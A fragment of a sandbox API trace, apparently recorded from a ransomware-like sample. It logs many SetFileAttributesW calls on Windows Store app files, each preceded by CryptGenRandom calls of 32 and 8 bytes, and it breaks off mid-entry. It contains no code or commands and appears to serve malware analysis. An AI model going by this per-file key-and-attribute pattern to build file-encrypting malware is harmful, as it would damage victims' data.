SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x80) returned 0 [0217.647] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c14e8 | out: pbBuffer=0x34c14e8) returned 1 [0217.648] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1070 | out: pbBuffer=0x36b1070) returned 1 [0217.648] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x80) returned 0 [0217.728] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c15f0 | out: pbBuffer=0x34c15f0) returned 1 [0217.728] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1230 | out: pbBuffer=0x36b1230) returned 1 [0217.728] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x80) returned 0 [0217.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0570 | out: pbBuffer=0x34c0570) returned 1 [0217.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b11c0 | out: pbBuffer=0x36b11c0) returned 1 [0217.885] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x80) returned 0 [0217.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1a10 | out: pbBuffer=0x34c1a10) returned 1 [0217.894] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b10b0 | out: pbBuffer=0x36b10b0) returned 1 [0217.894] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x80) returned 0 [0217.894] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1b18 | out: pbBuffer=0x34c1b18) returned 1 [0217.894] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1100 | out: pbBuffer=0x36b1100) returned 1 [0217.894] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x80) returned 0 [0217.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1c20 | out: pbBuffer=0x34c1c20) returned 1 [0217.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1210 | out: pbBuffer=0x36b1210) returned 1 [0217.938] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x80) returned 0 [0217.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1d28 | out: pbBuffer=0x34c1d28) returned 1 [0217.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b11a0 | out: pbBuffer=0x36b11a0) returned 1 [0217.938] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x80) returned 0 [0217.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1f38 | out: pbBuffer=0x34c1f38) returned 1 [0217.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1240 | out: pbBuffer=0x36b1240) returned 1 [0217.942] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png", dwFileAttributes=0x80) returned 0 [0217.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1e30 | out: pbBuffer=0x34c1e30) returned 1 [0217.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1220 | out: pbBuffer=0x36b1220) returned 1 [0217.959] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x80) returned 0 [0217.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0150 | out: pbBuffer=0x34c0150) returned 1 [0217.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1130 | out: pbBuffer=0x36b1130) returned 1 [0217.960] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x80) returned 0 [0217.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2040 | out: pbBuffer=0x34c2040) returned 1 [0217.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b11e0 | out: pbBuffer=0x36b11e0) returned 1 [0217.960] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x80) returned 0 [0217.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0468 | out: pbBuffer=0x34c0468) returned 1 [0217.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b11b0 | out: pbBuffer=0x36b11b0) returned 1 [0217.961] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x80) returned 0 [0217.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0888 | out: pbBuffer=0x34c0888) returned 1 [0217.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b11f0 | out: pbBuffer=0x36b11f0) returned 1 [0217.986] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg", dwFileAttributes=0x80) returned 0 [0218.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0678 | out: pbBuffer=0x34c0678) returned 1 [0218.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1080 | out: pbBuffer=0x36b1080) returned 1 [0218.028] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x80) returned 0 [0218.034] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c3d20 | out: pbBuffer=0x34c3d20) returned 1 [0218.034] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b10a0 | out: pbBuffer=0x36b10a0) returned 1 [0218.034] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x80) returned 0 [0218.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c36f0 | out: pbBuffer=0x34c36f0) returned 1 [0218.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b10c0 | out: pbBuffer=0x36b10c0) returned 1 [0218.036] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x80) returned 0 [0218.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2670 | out: pbBuffer=0x34c2670) returned 1 [0218.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b13b0 | out: pbBuffer=0x36b13b0) returned 1 [0218.036] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x80) returned 0 [0218.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c35e8 | out: pbBuffer=0x34c35e8) returned 1 [0218.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b12a0 | out: pbBuffer=0x36b12a0) returned 1 [0218.042] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2ca0 | out: pbBuffer=0x34c2ca0) returned 1 [0218.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1310 | out: pbBuffer=0x36b1310) returned 1 [0218.045] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2a90 | out: pbBuffer=0x34c2a90) returned 1 [0218.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1360 | out: pbBuffer=0x36b1360) returned 1 [0218.048] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c32d0 | out: pbBuffer=0x34c32d0) returned 1 [0218.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1290 | out: pbBuffer=0x36b1290) returned 1 [0218.048] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c3b10 | out: pbBuffer=0x34c3b10) returned 1 [0218.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1350 | out: pbBuffer=0x36b1350) returned 1 [0218.049] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2988 | out: pbBuffer=0x34c2988) returned 1 [0218.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1260 | out: pbBuffer=0x36b1260) returned 1 [0218.049] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.051] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2148 | out: pbBuffer=0x34c2148) returned 1 [0218.051] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b12b0 | out: pbBuffer=0x36b12b0) returned 1 [0218.051] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.051] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2b98 | out: pbBuffer=0x34c2b98) returned 1 [0218.051] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1250 | out: pbBuffer=0x36b1250) returned 1 [0218.051] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.052] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2da8 | out: pbBuffer=0x34c2da8) returned 1 [0218.052] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b13f0 | out: pbBuffer=0x36b13f0) returned 1 [0218.053] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2358 | out: pbBuffer=0x34c2358) returned 1 [0218.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1300 | out: pbBuffer=0x36b1300) returned 1 [0218.053] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c3e28 | out: pbBuffer=0x34c3e28) returned 1 [0218.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b13d0 | out: pbBuffer=0x36b13d0) returned 1 [0218.054] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2eb0 | out: pbBuffer=0x34c2eb0) returned 1 [0218.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1270 | out: pbBuffer=0x36b1270) returned 1 [0218.054] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseAppList.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.055] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2568 | out: pbBuffer=0x34c2568) returned 1 [0218.055] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b12c0 | out: pbBuffer=0x36b12c0) returned 1 [0218.055] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.055] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2460 | out: pbBuffer=0x34c2460) returned 1 [0218.055] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1390 | out: pbBuffer=0x36b1390) returned 1 [0218.055] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.056] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c3c18 | out: pbBuffer=0x34c3c18) returned 1 [0218.056] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b13c0 | out: pbBuffer=0x36b13c0) returned 1 [0218.056] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2880 | out: pbBuffer=0x34c2880) returned 1 [0218.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b12d0 | out: pbBuffer=0x36b12d0) returned 1 [0218.103] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.112] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2778 | out: pbBuffer=0x34c2778) returned 1 [0218.112] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b13e0 | out: pbBuffer=0x36b13e0) returned 1 [0218.113] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-54.png", dwFileAttributes=0x80) returned 0 [0218.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c34e0 | out: pbBuffer=0x34c34e0) returned 1 [0218.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b12e0 | out: pbBuffer=0x36b12e0) returned 1 [0218.114] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-38.png", dwFileAttributes=0x80) returned 0 [0218.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c31c8 | out: pbBuffer=0x34c31c8) returned 1 [0218.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1370 | out: pbBuffer=0x36b1370) returned 1 [0218.116] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0218.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c33d8 | out: pbBuffer=0x34c33d8) returned 1 [0218.117] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b12f0 | out: pbBuffer=0x36b12f0) returned 1 [0218.117] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.117] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c3900 | out: pbBuffer=0x34c3900) returned 1 [0218.117] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1320 | out: pbBuffer=0x36b1320) returned 1 [0218.117] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0218.118] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c3a08 | out: pbBuffer=0x34c3a08) returned 1 [0218.118] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1330 | out: pbBuffer=0x36b1330) returned 1 [0218.118] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.118] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e21a0 | out: pbBuffer=0x30e21a0) returned 1 [0218.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1340 | out: pbBuffer=0x36b1340) returned 1 [0218.119] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-54.png", dwFileAttributes=0x80) returned 0 [0218.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e22a8 | out: pbBuffer=0x30e22a8) returned 1 [0218.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1280 | out: pbBuffer=0x36b1280) returned 1 [0218.119] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-38.png", dwFileAttributes=0x80) returned 0 [0218.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4a88 | out: pbBuffer=0x33b4a88) returned 1 [0218.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1400 | out: pbBuffer=0x36b1400) returned 1 [0218.119] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0218.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd1d0 | out: pbBuffer=0x34cd1d0) returned 1 [0218.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1380 | out: pbBuffer=0x36b1380) returned 1 [0218.120] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc990 | out: pbBuffer=0x34cc990) returned 1 [0218.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b13a0 | out: pbBuffer=0x36b13a0) returned 1 [0218.120] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0218.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd4e8 | out: pbBuffer=0x34cd4e8) returned 1 [0218.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1410 | out: pbBuffer=0x36b1410) returned 1 [0218.121] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd908 | out: pbBuffer=0x34cd908) returned 1 [0218.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee7f8 | out: pbBuffer=0x30ee7f8) returned 1 [0218.121] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-54.png", dwFileAttributes=0x80) returned 0 [0218.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cca98 | out: pbBuffer=0x34cca98) returned 1 [0218.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee808 | out: pbBuffer=0x30ee808) returned 1 [0218.122] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-38.png", dwFileAttributes=0x80) returned 0 [0218.123] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc468 | out: pbBuffer=0x34cc468) returned 1 [0218.123] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee758 | out: pbBuffer=0x30ee758) returned 1 [0218.123] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0218.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd6f8 | out: pbBuffer=0x34cd6f8) returned 1 [0218.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee6f8 | out: pbBuffer=0x30ee6f8) returned 1 [0218.124] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ccfc0 | out: pbBuffer=0x34ccfc0) returned 1 [0218.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee868 | out: pbBuffer=0x30ee868) returned 1 [0218.124] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0218.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd0c8 | out: pbBuffer=0x34cd0c8) returned 1 [0218.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee818 | out: pbBuffer=0x30ee818) returned 1 [0218.125] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cdd28 | out: pbBuffer=0x34cdd28) returned 1 [0218.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee7d8 | out: pbBuffer=0x30ee7d8) returned 1 [0218.125] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png", dwFileAttributes=0x80) returned 0 [0218.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd2d8 | out: pbBuffer=0x34cd2d8) returned 1 [0218.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee828 | out: pbBuffer=0x30ee828) returned 1 [0218.127] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-54.png", dwFileAttributes=0x80) returned 0 [0218.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd5f0 | out: pbBuffer=0x34cd5f0) returned 1 [0218.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee7e8 | out: pbBuffer=0x30ee7e8) returned 1 [0218.138] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-38.png", dwFileAttributes=0x80) returned 0 [0218.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ccba0 | out: pbBuffer=0x34ccba0) returned 1 [0218.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee788 | out: pbBuffer=0x30ee788) returned 1 [0218.138] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0218.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cdc20 | out: pbBuffer=0x34cdc20) returned 1 [0218.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee708 | out: pbBuffer=0x30ee708) returned 1 [0218.138] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc678 | out: pbBuffer=0x34cc678) returned 1 [0218.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee728 | out: 